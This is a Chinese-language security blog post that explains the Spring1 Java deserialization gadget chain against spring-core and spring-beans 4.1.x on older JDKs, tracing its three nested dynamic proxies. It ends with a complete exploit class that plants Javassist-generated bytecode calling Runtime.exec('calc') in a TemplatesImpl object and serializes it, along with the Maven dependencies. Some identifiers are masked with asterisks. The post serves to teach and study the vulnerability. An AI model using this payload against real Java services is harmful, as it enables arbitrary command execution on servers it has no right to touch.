【Web】浅聊Java反序列化之Spring1链——三层动态代理

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影响版本：

利用链

漏洞之sink：MethodInvokeTypeProvider#readObject

动态代理在反序列化中的应用

让provider.getType()返回一个动态代理对象——打破桎梏

桥梁——ObjectFactoryDelegatingInvocationHandler

小结

EXP

​前文：【Java】spring的ReflectionUtils类常用方法学习笔记-CSDN博客

【Java】关于动态代理的基础知识个人笔记-CSDN博客

影响版本：

jdk8u71之前

spring-core : 4.1.4.RELEASE
spring-beans : 4.1.4.RELEASE

利用链

/*
   Gadget chain:

      ObjectInputStream.readObject()
         SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.findMethod()
            SerializableTypeWrapper.TypeProvider(Proxy).getType()
               AnnotationInvocationHandler.invoke()
                  HashMap.get()
            ReflectionUtils.invokeMethod()
               Method.invoke()
                  Templates(Proxy).newTransformer()
                     AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
                        ObjectFactory(Proxy).getObject()
                           AnnotationInvocationHandler.invoke()
                              HashMap.get()
                        Method.invoke()
                           TemplatesImpl.newTransformer()
                              TemplatesImpl.getTransletInstance()
                                 TemplatesImpl.defi***ransletClasses()
                                    TemplatesImpl.TransletClassLoader.defineClass()
                                       Pwner*(Javassist-generated).<static init>
                                          Runtime.exec()

 */

漏洞之sink：MethodInvokeTypeProvider#readObject

先来看MethodInvokeTypeProvider的构造方法，要求传入provider,method和index

public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
            this.provider = provider;
            this.methodName = method.getName();
            this.index = index;
            this.result = ReflectionUtils.invokeMethod(method, provider.getType());
        }

再来看 MethodInvokeTypeProvider#readObject

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
            inputStream.defaultReadObject();
            Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
            this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
        }
    }

这段代码调用了 ReflectionUtils，先是 findMethod 返回 Method 对象然后紧接着调用 invokeMethod 反射调用。注意，这里的调用是无参调用,对应的方法也是无参方法。
我们可以让this.methodName为newTransformer方法,并且让this.provider.getType()返回恶意TempletesImpl对象(其实并不是)，从而调用TempletesImpl#newTransformer,触发类加载并执行任意代码(老面孔了，不作解释QWQ)

前者很好实现，直接传即可，后者则需要一番探讨。

动态代理在反序列化中的应用

我知道自己很啰嗦，但求求你先别急。

我们首先要有这样的两点朴素观念：

①类分两种，普通类主要负责实际的业务逻辑实现,调用了什么方法就实现什么逻辑；动态代理类主要负责在调用真实对象的方法前后，交由代理执行一些额外的逻辑

②InvocationHandler的invoke方法，不管外边执行什么方法，都会执行到invoke

下面聊聊动态代理在反序列化中的常见用法：

想象一个场景，我们的最终目的是调用Evil.func，
而入口类A入参是O，A中调用了非恶意的健康代码O.method，若O只是一个普通类，那么一切就很和谐地运行下去；若O是一个动态代理类，Evil类作为参数传入O，A中的O.method触发动态代理的invoke方法，invoke方法中调用了Evil.func，从而达成了我们的目的

让provider.getType()返回一个动态代理对象——打破桎梏

我们先来看看this.provider.getType()是何方神圣

 interface TypeProvider extends Serializable {
        Type getType();

        Object getSource();
    }

不用看具体实现就能发现getType方法明确了返回的对象类型是Type类型

OK回到正题

我们想控制this.provider.getType()的返回值，最好的方法便是对provider使用动态代理，当调用到getType时通过InvocationHandler的处理让目标返回TemplatesImpl。

我们知道在AnnotationInvocationHandler#invoke中，传入的member的属性值已经给定为'getType'的情况下，就可以通过控制memberValues属性值来控制返回的对象(具体实现就是往HashMap放k为'getType'，v为TemplatesImpl)，这是否可行呢？

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
            case "toString":
                return toStringImpl();
            case "hashCode":
                return hashCodeImpl();
            case "annotationType":
                return type;
        }

        // Handle annotation member a***essors
        Object result = memberValues.get(member);

        if (result == null)
            throw new In***pleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }
}

很遗憾，并不行，因为上面也提到getType方法返回的对象类型是Type类型，若直接返回TemplatesImpl类型会类型转换错误而失败。

而我们需要的是返回值是 Type 类型又是 Templates 类型的类，如果是具体类，那条件未免有些苛刻，显然，其只能是个动态代理类

到这一步，我们已经确定了反序列化的入口是MethodInvokeTypeProvider，它的provider是用了AnnotationInvocationHandler作为handler的类型为typeProvider的动态代理类，并且其provider.getType()返回值是个既是Type 类型又是Templates 类型的动态代理类。

桥梁——ObjectFactoryDelegatingInvocationHandler

首先要清楚，这一长串玩意，本质上还是InvocationHandler，是给我们创建动态代理用的

and别忘了我们的目的是获取一个返回值是 Type 类型又是 Templates 类型的动态代理类传给AnnotationInvocationHandler

而这个动态代理类用的handler就是ObjectFactoryDelegatingInvocationHandler

它的构造方法接收一个ObjectFactory参数

public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
            this.objectFactory = objectFactory;
        }

OK打住，我们再看下ObjectFactoryDelegatingInvocationHandler#invoke

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            String methodName = method.getName();
            if (methodName.equals("equals")) {
                return proxy == args[0];
            } else if (methodName.equals("hashCode")) {
                return System.identityHashCode(proxy);
            } else if (methodName.equals("toString")) {
                return this.objectFactory.toString();
            } else {
                try {
                    return method.invoke(this.objectFactory.getObject(), args);
                } catch (InvocationTargetException var6) {
                    throw var6.getTargetException();
                }
            }
        }
    }

太优雅了，其对this.objectFactory.getObject()进行传入的method的反射方法调用，而getObject()返回值是一个泛型！

public interface ObjectFactory<T> {
    T getObject() throws BeansException;
}

那只要我们能控制this.objectFactory.getObject()的返回结果为构造好的TemplateImpl对象即可，这样就可以配合传入的method(newTransformer)完成利用链的调用。

为了实现这个效果，这里我们又要套一层类型是ObjectFactory.class的代理类，并作为ObjectFactory参数传入DelegatingInvocationHandler

所以我们要创建objectFactory的动态代理并且让Handler为AnnocationInvocationHandler，并且设置memberValue属性中getObject为key，value为TemplatesImpl对象。(道理在上面讲过了，不作赘述)

至于返回值既是 Type 类型又是 Templates 类型要怎么实现呢

我们只要在创建代理时指定就好(啰嗦一嘴)

Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
        con2.setA***essible(true);
        InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

小结

这条链共计用了三次动态代理，用了两次AnnotationInvocationHandler实现动态代理来修改方法的返回值，两个动态代理之间是通过ObjectFactoryDelegatingInvocationHandler实现动态代理作为桥梁连接起来的。

EXP

我复现用的是jdk8u20(

pom依赖

 <dependencies>
        <!-- https://mvnrepository.***/artifact/org.springframework/spring-core -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>4.1.1.RELEASE</version>
        </dependency>


        <!-- https://mvnrepository.***/artifact/org.springframework/spring-beans -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-beans</artifactId>
            <version>4.1.1.RELEASE</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>

    </dependencies>

召唤计算器的神奇咒语

package ***.spring;

import ***.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import ***.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Spring1 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");

        Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> con1 = clazz1.getDeclaredConstructors()[0];
        con1.setA***essible(true);
        HashMap<String, Object> map1 = new HashMap<String, Object>();
        map1.put("getObject", templates);
        InvocationHandler invocationHandler1 = (InvocationHandler) con1.newInstance(Target.class, map1);
        ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler1);

        Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
        con2.setA***essible(true);
        InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

        HashMap<String, Object> map2 = new HashMap<String, Object>();
        map2.put("getType", typeTemplateProxy);
        InvocationHandler invocationHandler2 = (InvocationHandler) con1.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, invocationHandler2);

        Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
        con3.setA***essible(true);
        Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setValue(o, "methodName", "newTransformer");

        ser(o);
    }

    public static void ser(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setA***essible(true);
        field.set(obj, value);
    }
}